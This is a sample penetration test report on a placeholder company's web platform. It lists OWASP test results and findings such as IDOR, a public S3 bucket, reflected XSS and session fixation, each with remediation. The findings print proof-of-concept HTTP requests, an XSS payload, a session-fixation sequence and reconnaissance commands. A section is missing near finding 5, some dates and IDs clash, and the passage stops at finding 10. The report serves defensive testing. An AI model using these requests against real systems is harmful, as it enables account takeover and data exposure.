

Penetration Test Report Example

Table of contents

Table of contents	1
Document	2
History	2
Confidentiality statement	2
Severity rating scale	3
Executive summary	3
Findings	4
Assessment	5
Event description	6
Timeline	6
Background	6
Scope and objectives	6
Test info	6
Test team	7
Methodology	8
Overview	8
Description	8
Tests performed	8
Tools used	11
Operative report	12
High severity findings	12
YC-Q123-1: User signup details publicly available	12
YC-Q123-2: Attachments are stored in a publicly available S3 bucket	14
Medium severity findings	15
YC-Q123-3: Cross-site scripting (reflected)	15
YC-Q123-4: Weak password policy	17
YC-Q123-5: Account enumeration on the sign-up endpoint	19
YC-Q123-6: Session fixation and hijacking of PHPSESSID	21
YC-Q123-7: Vulnerable version of the library 'jQuery' found on app.yourcompany.dev	24
YC-Q123-8: Information exposure on the development environment	26
YC-Q123-9: Submission of a password in the clear-text format on the RabbitMQ instance	28
Informative findings	30
YC-Q123-10: External service interaction (HTTP)	30
YC-Q123-11: API keys never expire and there's no limit on their number	33

Document

History

VERSION	CHANGELOG	DATE	AUTHOR
1.0	-	01/02/2023	Vedran Furlan






Confidentiality statement

Given the sensitive nature of the information presented, this document is considered confidential. No part of this document should be disclosed to third parties without the prior written consent of [Your Company] and Infinum.

Severity rating scale

[CVSS version 3.1](#) (Common Vulnerability Scoring System) is a standardized framework used to assess the severity of security vulnerabilities in computer systems and networks.

The score is based on several metrics, including the impact of the vulnerability on confidentiality, integrity, and availability of the affected system, as well as the exploitability and complexity of the attack.

SEVERITY	DESCRIPTION	CVSS V3.1 SCORE
 Critical	<p>Extreme damage or loss. This rating is given to flaws that could be easily exploited and lead to system compromise without requiring user interaction. It is advised to fix these issues immediately.</p>	9.0 - 10.0
 High	<p>Significant damage or loss. This rating is given to flaws that allow users to gain privileges, view resources that should otherwise be protected by authentication, allow users to execute arbitrary code, or allow remote users to cause a denial of service. It is advised to fix these issues as soon as possible.</p>	7.0 - 8.9
 Medium	<p>Moderate damage or loss. This rating is given to flaws that may be more difficult to exploit but could still lead to some compromise of the confidentiality, integrity, or availability of resources. It is advised to fix these issues in due time after Critical and High issues have been resolved.</p>	4.0 - 6.9
 Low	<p>Slight damage to assets, or minor loss of productivity. These are the types of issues that are believed to require unlikely circumstances to be able to be exploited, or where a successful exploit would give minimal consequences. It is advised to analyze these issues and fix them in the future.</p>	0.1 - 3.9
 Informative	<p>No potential for loss. This rating is given to flaws or findings that may not impact the security. It is advised to analyze them and determine if any action is necessary.</p>	0.0

Executive summary

Findings

During the testing process, we identified:

0

Critical
severity findings

2

High
severity findings

7

Medium
severity findings






0

Low
severity findings

2

Informative
findings

The following table is a breakdown of the aforementioned findings:

SEVERITY	BRIEF DESCRIPTION OF FINDINGS	STATUS
 Critical	-	-
 High	YC-Q123-1: User signup details publicly available	Open
	YC-Q123-2: Attachments are stored in a publicly available S3 bucket	Open
 Medium	YC-Q123-3: Cross-site scripting (reflected)	Open
	YC-Q123-4: Weak password policy	Open
	YC-Q123-5: Account enumeration on the sign-up endpoint	Open
	YC-Q123-6: Session fixation and hijacking of PHPSESSID	Open
	YC-Q123-7: Vulnerable version of the library 'jQuery' found on app.yourcompany.dev	Open
	YC-Q123-8: Information exposure on the development environment	Open
	YC-Q123-9: Submission of a password in the clear-text format on the RabbitMQ instance	Open
 Low	-	-
 Informative	YC-Q123-10: External service interaction (HTTP)	Open
	YC-Q123-11: API keys never expire and there's no limit on their number	Open

Assessment

The exploitation of found vulnerabilities could endanger your users' sensitive private data, including emails and various confidential files. We recommend tackling the high priority findings in the short term.

Additional security practices should be implemented in order to fortify your system and make it less vulnerable to attacks.

Those are discussed in detail throughout the [Operative report](#).

Event description

Timeline

- Kick-off meeting: 23.01.2023.
- Testing start: 01.01.2023.
- Testing end: 15.01.2023.

Background

[Your Company] engaged Infinum to perform a time-boxed penetration test of [Your Company]'s platform. [Your Company]'s platform is used for account management via a web interface.

The testing consisted of manual and automated tests of [Your Company]'s API and frontend applications. It was conducted remotely from Infinum's network.

This document summarizes the results of the test along with remediation recommendations that will enable your engineers to harden the security posture of your product.

Scope and objectives

The scope of the penetration testing consisted of [Your Company]'s API and frontend applications. We did not investigate 3rd party integrations and additional supporting microservices. Additionally, in agreement with [Your Company], we did not perform any Denial of Service tests.

The primary objectives of the penetration test were the following:

- Assessing the security posture since a penetration test was never performed in the past
- Identifying vulnerable areas and the ability to resist external attacks with a special emphasis on unauthorized access and data leakage
- Checking whether best security practices were followed during implementation
- Providing remediation strategies for making the system more secure

Test info

The test was executed on the Development environment.

- [Your Company] API: <https://api.yourcompany.dev/v1/>
- [Your Company] frontend: <https://app.yourcompany.dev/app>



[Your Company] provided the following test users:

- Attacker user: vedran.furlan@infinum.com
- Target user: neven.matas@infinum.com

[Your Company] provided the following technical docs:

- Public API documentation: <https://docs.yourcompany.com/>
- A list of private API endpoints was provided via email and is not attached to this document.

Test team

NAME	EMAIL
Vedran Furlan	vedran.furlan@infinum.com
Neven Matas	neven.matas@infinum.com

Methodology

Overview

The following steps were taken during the process of penetration testing:

- Information gathering
- Searching for vulnerabilities
- Exploiting the vulnerabilities
- Risk assessment of vulnerabilities
- Creating a test report

Description

The system has been tested by employing the gray-box approach. We combined automated tools with manual testing of those features that are potential sources of high risk business logic flaws.

The [OWASP Web Security Testing Guide](#) (OWASP WSTG) was used as a model for our penetration testing procedure of [Your Company]'s services and frontend.

Additionally, the following industry standard guidelines and lists are used to inform our testing procedures:

- [Penetration Testing Execution Standard](#) (PTES)
- [Open Source Security Testing Methodology Manual 3](#) (OSSTMM)
- [NIST SP 800-115](#)
- [OWASP Top 10](#)
- [SANS TOP 25](#)

Tests performed

The following list of tests is a subset of the entire OWASP WSTG that was selected specifically to fit the needs of the system under test. It also includes a result for each tests that indicates whether a vulnerability was detected.

WSTG SCENARIO ID	WSTG SCENARIO DESCRIPTION	TEST CASE RESULT
WSTG-INFO-01	Conduct Search Engine Discovery Reconnaissance for Information Leakage	● Pass
WSTG-INFO-02	Fingerprint Web Server	● Pass

WSTG-INFO-03	Review Webserver Metafiles for Information Leakage	● Pass
WSTG-INFO-04	Enumerate Applications on Webserver	● Pass
WSTG-INFO-05	Review Webpage Content for Information Leakage	● Pass
WSTG-INFO-06	Identify Application Entry Points	● Pass
WSTG-INFO-07	Map Execution Paths Through Application	● Pass
WSTG-INFO-08	Fingerprint Web Application Framework	● Pass
WSTG-INFO-09	Fingerprint Web Application	● Pass
WSTG-INFO-10	Map Application Architecture	● Pass
WSTG-CONF-01	Test Network Infrastructure Configuration	● Pass
WSTG-CONF-02	Test Application Platform Configuration	● Pass
WSTG-CONF-03	Test File Extensions Handling for Sensitive Information	● Pass
WSTG-CONF-04	Review Old Backup and Unreferenced Files for Sensitive Information	● Pass
WSTG-CONF-05	Enumerate Infrastructure and Application Admin Interfaces	● Pass
WSTG-CONF-06	Test HTTP Methods	● Pass
WSTG-CONF-07	Test HTTP Strict Transport Security	● Pass
WSTG-CONF-10	Test for Subdomain Takeover	● Pass
WSTG-CONF-11	Test Cloud Storage	● Fail
WSTG-IDNT-01	Test Role Definitions	● Pass
WSTG-IDNT-02	Test User Registration Process	● Pass
WSTG-IDNT-03	Test Account Provisioning Process	● Pass
WSTG-IDNT-04	Testing for Account Enumeration and Guessable User Account	● Fail
WSTG-IDNT-05	Testing for Weak or Unenforced Username Policy	● Pass
WSTG-ATHN-02	Testing for Default Credentials	● Pass
WSTG-ATHN-03	Testing for Weak Lock Out Mechanism	● Pass
WSTG-ATHN-04	Testing for Bypassing Authentication Schema	● Pass

WSTG-ATHN-05	Testing for Vulnerable Remember Password	● Pass
WSTG-ATHN-06	Testing for Browser Cache Weaknesses	● Pass
WSTG-ATHN-07	Testing for Weak Password Policy	● Fail
WSTG-ATHN-09	Testing for Weak Password Change or Reset Functionalities	● Fail
WSTG-ATHN-10	Testing for Weaker Authentication in Alternative Channel	● Pass
WSTG-ATHZ-01	Testing Directory Traversal File Include	● Pass
WSTG-ATHZ-02	Testing for Bypassing Authorization Schema	● Pass
WSTG-ATHZ-03	Testing for Privilege Escalation	● Pass
WSTG-ATHZ-04	Testing for Insecure Direct Object References	● Fail
WSTG-SESS-01	Testing for Session Management Schema	● Fail
WSTG-SESS-02	Testing for Cookies Attributes	● Fail
WSTG-SESS-03	Testing for Session Fixation	● Fail
WSTG-SESS-04	Testing for Exposed Session Variables	● Pass
WSTG-SESS-05	Testing for Cross Site Request Forgery	● Pass
WSTG-SESS-06	Testing for Logout Functionality	● Pass
WSTG-SESS-07	Testing Session Timeout	● Fail
WSTG-SESS-09	Testing for Session Hijacking	● Fail
WSTG-INPV-01	Testing for Reflected Cross Site Scripting	● Fail
WSTG-INPV-02	Testing for Stored Cross Site Scripting	● Pass
WSTG-INPV-04	Testing for HTTP Parameter Pollution	● Pass
WSTG-INPV-05	Testing for SQL Injection	● Pass
WSTG-INPV-07	Testing for XML Injection	● Pass
WSTG-INPV-11	Testing for Code Injection	● Pass
WSTG-INPV-12	Testing for Command Injection	● Pass
WSTG-INPV-16	Testing for HTTP Incoming Requests	● Pass
WSTG-INPV-17	Testing for Host Header Injection	● Pass

WSTG-INPV-19	Testing for Server-Side Request Forgery	● Pass
WSTG-INPV-20	Testing for Mass Assignment	● Pass
WSTG-CRYP-01	Testing for Weak Transport Layer Security	● Fail
WSTG-CRYP-03	Testing for Sensitive Information Sent via Unencrypted Channels	● Fail
WSTG-BUSL-08	Test Upload of Unexpected File Types	● Pass
WSTG-BUSL-09	Test Upload of Malicious Files	● Pass
WSTG-CLNT-01	Testing for DOM-Based Cross Site Scripting	● Pass
WSTG-CLNT-02	Testing for JavaScript Execution	● Fail
WSTG-CLNT-03	Testing for HTML Injection	● Fail
WSTG-CLNT-04	Testing for Client-side URL Redirect	● Pass
WSTG-CLNT-05	Testing for CSS Injection	● Pass
WSTG-CLNT-06	Testing for Client-side Resource Manipulation	● Pass
WSTG-CLNT-07	Testing Cross Origin Resource Sharing	● Pass
WSTG-CLNT-09	Testing for Clickjacking	● Pass
WSTG-CLNT-12	Testing Browser Storage	● Pass
WSTG-CLNT-13	Testing for Cross Site Script Inclusion	● Pass

Tools used

- Vulnerability scanning and penetration testing: [Burp Suite Professional](#), [nikto](#), [nuclei](#), [OWASP ZAP](#)
- Attack surface mapping: [Amass](#)
- Network scanning: [nmap](#)
- Reconnaissance: [reconFTW](#)
- Static analysis: [semgrep](#)
- SQL injection: [sqlmap](#)
- Various: [Postman](#), [Retire.JS](#), [webanalyze](#)
- cURL and other Linux command line tools

Operative report

High severity findings

YC-Q123-1: User signup details publicly available

Description

Any unauthenticated attacker can get emails, IP addresses, and other privileged information about all users. The exploit is facilitated by the fact that identifiers for the `signups` resource are auto-incremented instead of randomized.

CVSS v3.1 score

- Severity: **High**
- Base score: 8.2 (High)
- Temporal score: 8.2 (High)
- Environmental score: 8.2 (High)
- Overall score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N/E:H/RL:U/RC:C

Request

```
curl https://api.yourcompany.io/api/v2/signups/11
```

Response

```
{
  "data": {
    "id": "20",
    "type": "signups",
    "attributes": {
      "email": "pentestregister@infinum.co",
      "user": true,
      "country": "Croatia",
      "time_zone": "Europe/Zagreb",
      "blocked": false,
    }
  },
}
```

Remediation

Make sure that attackers cannot retrieve a list of registered users. If this is not possible, another solution would be to use GUIDs instead of automatically incremented identifiers in the URL.

References

- [OWASP WSTG-ATHZ-04](#)

YC-Q123-2: Attachments are stored in a publicly available S3 bucket

Description

Files are publicly accessible if we know or guess the path to the object. Paths do not use randomly generated strings so it's possible to guess the path.

CVSS v3.1 score

- Severity: **High**
- Base score: 7.5 (High)
- Temporal score: 7.5 (High)
- Environmental score: 7.5 (High)
- Overall score: 7.5 (High)
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:U/RC:C/CR:M/MAV:N/MAC:L/MPR:N/MUI:N/M
S:U

Test data

Example of an attachment stored in a private task:

https://yourcompany.s3.amazonaws.com/attachments/files/000/000/196/original/upload_test

Example of an attachment stored in a deal:

<https://yourcompany.s3.amazonaws.com/attachments/files/000/000/197/original/http-methods.txt>

```
curl https://yourcompany.s3.amazonaws.com/attachments/files/000/000/196/original/upload_test -o
./upload_test; ls -lah ./upload_test
-rw-r--r-- 1 vedran users 1.0M Dec 12 13:26 ./upload_test
```

Remediation

Disable public access to the S3 bucket and make sure that only the Cloudfront distribution can access its content.

References

- [OWASP WSTG-CONF-11](#)

Medium severity findings

YC-Q123-3: Cross-site scripting (reflected)

Description

The value of the properties request parameter is copied into the HTML document as plain text between tags. The payload `tn08p<script>alert(1)</script>ol5us` was submitted in the properties parameter. This input was echoed unmodified in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

CVSS v3.1 score

- Severity: **Medium**
- Base score: 8.1 (High)
- Temporal score: 7.3 (High)
- Environmental score: 6.7 (Medium)
- Overall score: 6.7 (Medium)
- Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:P/RL:O/RC:C/CR:H/IR:H/AR:M/MAV:N/MAC:H/MPR:
N/MUI:R/MS:U/MC:H

Request

```
GET /api/filters/data/6?properties=236tn08p%3cscript%3ealert(1)%3c%2fscript%3eol5us HTTP/2
Host: app.yourcompany.dev
Accept-Encoding: gzip, deflate
Accept: application/json
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/110.0.5481.78 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: PHPSESSID=12345678901234567890abcdefghijkl;
YRCUSR=12345678901234567890abcdefghijkl12345678901234567890abcdefghijkl1234567890123456
7890abcdefghijkl
Referer: https://app.yourcompany.dev/app
Content-Type: application/json
Sec-Ch-Ua: ".Not/A)Brand";v="99", "Google Chrome";v="110", "Chromium";v="110"
Sec-Ch-Ua-Platform: Windows
Sec-Ch-Ua-Mobile: ?0
```


Response

```
HTTP/2 200 OK
Server: nginx/1.10.3
Date: Tue, 14 Feb 2023 17:34:04 GMT
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Xss-Protection: 1; mode=block
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
```

```
Syntax error, unexpected token IDENTIFIER(tn08p), near to '<script>alert(1)</script>ol5us)', when
parsing: SELECT [Your Company\Model\InvoicesSettings].* FROM [Your
Company\Model\InvoicesSettings] WHERE propertiesId IN (236tn08p<script>alert(1)</script>ol5us)
(142)<br>/var/www/html/app/Filters/FilterService.php<br>213<br>
```

Remediation

Input should be validated as strictly as possible on arrival, given the kind of content that it is expected to contain and input which fails the validation should be rejected, not sanitized.

User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' =, should be replaced with the corresponding HTML entities (such as < >).

References

- [OWASP WSTG-INPV-01](#)
- [OWASP ASVS - Validation, Sanitization and Encoding](#)

YC-Q123-4: Weak password policy

Description

Users can set common and easy to guess passwords like '123456' and 'password' to their login accounts.

CVSS v3.1 score

- Severity: **Medium**
- Base score: 6.5 (Medium)
- Temporal score: 6.0 (Medium)
- Environmental score: 4.5 (Medium)
- Overall score: 4.5 (Medium)
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N/E:F/RL:O/RC:C/CR:M/IR:M/AR:M/MAV:N/MAC:H/MPR:
N/MUI:N/MS:U

Request

```
PUT /api/owner/password/change HTTP/1.1
Host: app.yourcompany.dev
Cookie:
YRCUSR=12345678901234567890abcdefghijkl12345678901234567890abcdefghijkl1234567890123456
7890abcdefghijkl;
fileDownload=true;
RMU=12345678901234567890abcdefghijkl12345678901234567890abcdefghijkl1234567890123456789
0abcdefghijkl;
RMT=12345678901234567890abcdefghijkl12345678901234567890abcdefghijkl12345678901234567890
abcdefghijkl
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 48401
Origin: https://app.yourcompany.dev
Te: trailers
Connection: close

{
  "id": "97",
  "countriesId": "53",
  "email": "yourcompanypentestuser@infinum.co",
  "firstName": "Infinum",
  "lastName": "Sec Pro",
  "languageld": "1",
  "active": true,
  "<omitted>": true,
```

```
},  
  "oldPassword": "password",  
  "newPassword": "123456",  
  "newPasswordAgain": "123456"  
}
```

Response

```
HTTP/1.1 200 OK  
Server: nginx/1.10.3  
Date: Wed, 01 Mar 2023 19:42:40 GMT  
Content-Type: application/json; charset=utf-8  
X-Powered-By: PHP/5.6.40  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
App-Version: v1000.1000.1001  
X-XSS-Protection: 1; mode=block  
X-Frame-Options: sameorigin  
X-Content-Type-Options: nosniff  
Via: 1.1 google  
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000  
Connection: close  
Content-Length: 44  
  
{  
  "status": "OK",  
  "message": "Password updated"  
}
```

Remediation

Include password strength meter to help users create a more complex password and block common and previously breached passwords.

References

- [OWASP WSTG-ATHN-07](#)
- [OWASP ASVS - Authentication](#)


```
Pragma: no-cache
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Connection: close
Content-Length: 44945
```

```
<omitted>
```

```
<small class="message-info error">
```

```
Contact us at <a target="_blank"
```

```
href="mailto:support@yourcompany.com">support@yourcompany.com</a>
```

```
</small>
```

Remediation

It should be possible to return a more generic message which informs the user about an issue with the signup process but which doesn't reveal if the provided account exists or not.

One example of informing existing users is to send them an email with a message "You tried signing up with your account again, try resetting your password if you've forgotten it".

References

- [OWASP WSTG-IDNT-04](#)

YC-Q123-6: Session fixation and hijacking of PHPSESSID

Description

The server accepts a `PHPSESSID` value sent by the client before the authentication and doesn't change it after a successful login. This behavior enables an attacker to plant a `PHPSESSID` to the victim and to reuse that session id to take over the victim's account.

CVSS v3.1 score

- Severity: **Medium**
- Base score: 8.1 (High)
- Temporal score: 7.3 (High)
- Environmental score: 6.7 (Medium)
- Overall score: 6.7 (Medium)
- Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:P/RL:O/RC:C/CR:H/IR:H/AR:M/MAV:N/MAC:H/MPR:
N/MUI:R/MS:U/MC:H/MI:H

Request - client defines the PHPSESSID id

```
POST /en/sign-in HTTP/2
Host: app.yourcompany.dev
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: https://app.yourcompany.dev
Cookie: PHPSESSID=attackerplantedaphpsessionid0sc0
Te: trailers

email=yourcompanyentestuser%40infinum.co&password=password&remember=yes
```

Response - server accepts the PHPSESSID defined by the client:

```
HTTP/2 302 Found
Server: nginx/1.10.3
Date: Mon, 20 Feb 2023 17:06:13 GMT
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: https://app.yourcompany.dev/app
Set-Cookie:
YRCUSR=12345678901234567890abcdefghijkl12345678901234567890abcdefghijkl12345678901234
```

```
567890abcdefghijklmnopqrstuvwxyz; expires=Sat, 19-Aug-2023 17:06:13 GMT; Max-Age=15552000; path=/; httponly
X-Xss-Protection: 1; mode=block
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
```

Request - try to access a protected resource with the same PHPSESSID id

```
GET /api/payment/subscriptions HTTP/2
Host: app.yourcompany.dev
Cookie: PHPSESSID=attackerplantedaphpsessionid0sc0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://app.yourcompany.dev/app/owner/general
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Content-Length: 0
```

Response - server authenticates the request and returns the requested information

```
HTTP/2 200 OK
Server: nginx/1.10.3
Date: Mon, 20 Feb 2023 17:09:49 GMT
Content-Type: application/json; charset=utf-8
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
App-Version: v1000.1000.1001
X-Ucid: 123abc-123abc-123abc-123abc-123abc
X-Xss-Protection: 1; mode=block
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
```

```
[
{
```

```
"id": "104",
"userId": "97",
"currencyId": "1",
"name": "Trial",
"type": "1",
"duration": null,
"startDate": "1675728000",
"endDate": "1678320000",
"isPaid": "Y",
"isCancelledManually": null,
"numberOfUnits": "0",
"pricePerUnit": "0.0000000",
"pricePerUnitEUR": "0.0000000",
"totalPrice": "0.00",
"totalPriceEUR": "0.00",
"paymentNextBillingDate": null,
"paymentNextBillAmount": null,
"paymentPlanId": null,
"paymentMerchantId": null,
"paymentMethodToken": null,
"paymentSubscriptionId": null,
"paymentSubscriptionStatus": null,
"paymentCurrentBillingCycle": null,
"numberOfMonths": null,
"modifiedAt": null,
"createdAt": "1675796689",
"vatRate": null,
"totalPriceGross": null,
"totalPriceGrossEUR": "0.0000000"
}
]
```

Remediation

Web applications must ignore any session ID provided by the user's browser at login and must always generate a new session to which the user will log in if successfully authenticated.

References

- [OWASP Session fixation](#)
- [OWASP WSTG-SESS-03](#)
- [OWASP ASVS - Session management](#)

YC-Q123-7: Vulnerable version of the library 'jQuery' found on app.yourcompany.dev

Description

The library jQuery version 3.2.1 has known security issues.

The vulnerability might be affecting a feature of the library that the website is not using. If the vulnerable feature is not used, this alert can be considered a false positive.

CVSS v3.1 score

- Severity: **Medium**
- Base score: 6.1 (Medium)
- Temporal score: 5.6 (Medium)
- Environmental score: 5.6 (Medium)
- Overall score: 5.6 (Medium)
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/RL:O/RC:R

Request

```
GET /dev/main.js HTTP/2
Host: app.yourcompany.dev
Cookie:
YRCUSR=12345678901234567890abcdefghijklmnopqrstuvwxyz12345678901234567890abcdefghijklmnopqrstuvwxyz12345678901234567890abcdefghijklmnopqrstuvwxyz;
RMU=12345678901234567890abcdefghijklmnopqrstuvwxyz12345678901234567890abcdefghijklmnopqrstuvwxyz12345678901234567890abcdefghijklmnopqrstuvwxyz;
RMT=12345678901234567890abcdefghijklmnopqrstuvwxyz12345678901234567890abcdefghijklmnopqrstuvwxyz12345678901234567890abcdefghijklmnopqrstuvwxyz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.yourcompany.dev/app
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
```

Response

```
HTTP/2 200 OK
```

```
Server: nginx/1.10.3
Date: Mon, 06 Feb 2023 14:32:11 GMT
Content-Type: application/javascript
Content-Length: 15656054
Last-Modified: Mon, 06 Feb 2023 12:40:36 GMT
Etag: "63e0f544-eee476"
Expires: Mon, 13 Feb 2023 14:32:11 GMT
Cache-Control: max-age=604800
Cache-Control: public, must-revalidate, proxy-revalidate
Pragma: public
Accept-Ranges: bytes
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
```

```
/***/ (function(modules) { // webpackBootstrap
/***/ // install a JSONP callback for chunk loading
/***/ function webpackJsonpCallback(data) {
/***/     var chunkIds = data[0];
/***/
...[SNIP]...
eval("var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!\n * jQuery
JavaScript Library v3.2.1\n * https://jquery.com/\n *\n *
...[SNIP]...
```

Remediation

Upgrade jQuery to version 3.5.0 or higher.

References

- <https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/>
- <https://nvd.nist.gov/vuln/detail/CVE-2019-11358>
- <https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b>

YC-Q123-8: Information exposure on the development environment

Description

Even though the production environment doesn't expose verbose information, the development environment isn't too hard to find and its applications are publicly available.

Information gathered from the development environment might later be used against the production environment.

CVSS v3.1 score

- Severity: **Medium**
- Base score: 5.3 (Medium)
- Temporal score: 4.9 (Medium)
- Environmental score: 4.9 (Medium)
- Overall score: 4.9 (Medium)
- Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:F/RL:O/RC:C/CR:M/IR:M/AR:M/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:L/MI:N/MA:N

Possible scenario

1. Identify the development domain (yourcompany.dev)
2. Enumerate yourcompany.dev subdomains

```
amass enum -passive -d yourcompany.dev
test4.foo.yourcompany.dev
test1.foo.yourcompany.dev
api.yourcompany.dev
www.yourcompany.dev
test5.foo.yourcompany.dev
test2.foo.yourcompany.dev
rabbit.yourcompany.dev
2a.yourcompany.dev
incoming.yourcompany.dev
test3.foo.yourcompany.dev
app.yourcompany.dev
yourcompany.dev
foo.yourcompany.dev
```

The enumeration has finished

3. Identify used services and versions on yourcompany.dev subdomains

example: api.yourcompany.dev

```

- Nikto v2.5.0
-----
+ Target IP:      1.2.3.4
+ Target Hostname:  api.yourcompany.dev
+ Target Port:    443
-----
+ SSL Info:      Subject: /CN=api.yourcompany.dev
                  Ciphers: TLS_AES_256_GCM_SHA384
                  Issuer:  /C=US/O=Google Trust Services LLC/CN=GTS CA 1D4
+ Start Time:    2023-03-02 23:23:58 (GMT1)
-----
+ Server: kong/2.8.3

```

4. Register an account for a trial subscription
5. Use the application and gather additional information from error logs and response headers

```

Server: nginx/1.10.3
Date: Tue, 14 Feb 2023 19:28:57 GMT
Content-Type: application/json; charset=utf-8
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
App-Version: v1000.1000.1001
X-Ucid: 123abc-123abc-123abc-123abc-123abc
X-Controller: Your Company\Api\Foo\FooApiController
X-Action: index
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

```

Remediation

- Hide the development environment from public access with basic auth, VPN or firewall
- Discourage search bots from crawling the applications with the robots.txt file
- Remove verbose logging information from the application components and send it directly to the logging system

References

- [OWASP ASVS - Error Handling and Logging](#)

YC-Q123-9: Submission of a password in the clear-text format on the RabbitMQ instance

Description

The response asks the user to enter credentials for Basic HTTP authentication. If these are supplied, they will be submitted over clear-text HTTP (in Base64-encoded form).

CVSS v3.1 score

- Severity: **Medium**
- Base score: 7.5 (High)
- Temporal score: 7.2 (High)
- Environmental score: 6.8 (Medium)
- Overall score: 6.8 (Medium)
- Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:N/MUI:R/MS:U/MC:H/MI:N/MA:N

Request

```
GET /api/whoami HTTP/1.1
Host: rabbit.yourcompany.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/110.0.5481.78 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: m=2258:123abc123abc123abc123abc123abc
authorization: Basic 123ABC123ABC123ABC
Referer: http://rabbit.yourcompany.dev/
content-type: application/json
Sec-CH-UA: ".Not(A)Brand";v="99", "Google Chrome";v="110", "Chromium";v="110"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
```

Response

```
HTTP/1.1 401 Unauthorized
content-length: 50
content-security-policy: script-src 'self' 'unsafe-eval' 'unsafe-inline'; object-src 'self'
content-type: application/json
date: Thu, 16 Feb 2023 21:47:12 GMT
```

```
server: Foo
vary: origin
www-authenticate: Basic realm="RabbitMQ Management"
Via: 1.1 google
Connection: close
{"error":"not_authorized","reason":"Login failed"}
```

Remediation

Applications should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

References

- [OWASP WSTG-CRYP-03](#)
- [CWE-319: Cleartext Transmission of Sensitive Information](#)

Informative findings

YC-Q123-10: External service interaction (HTTP)

Description

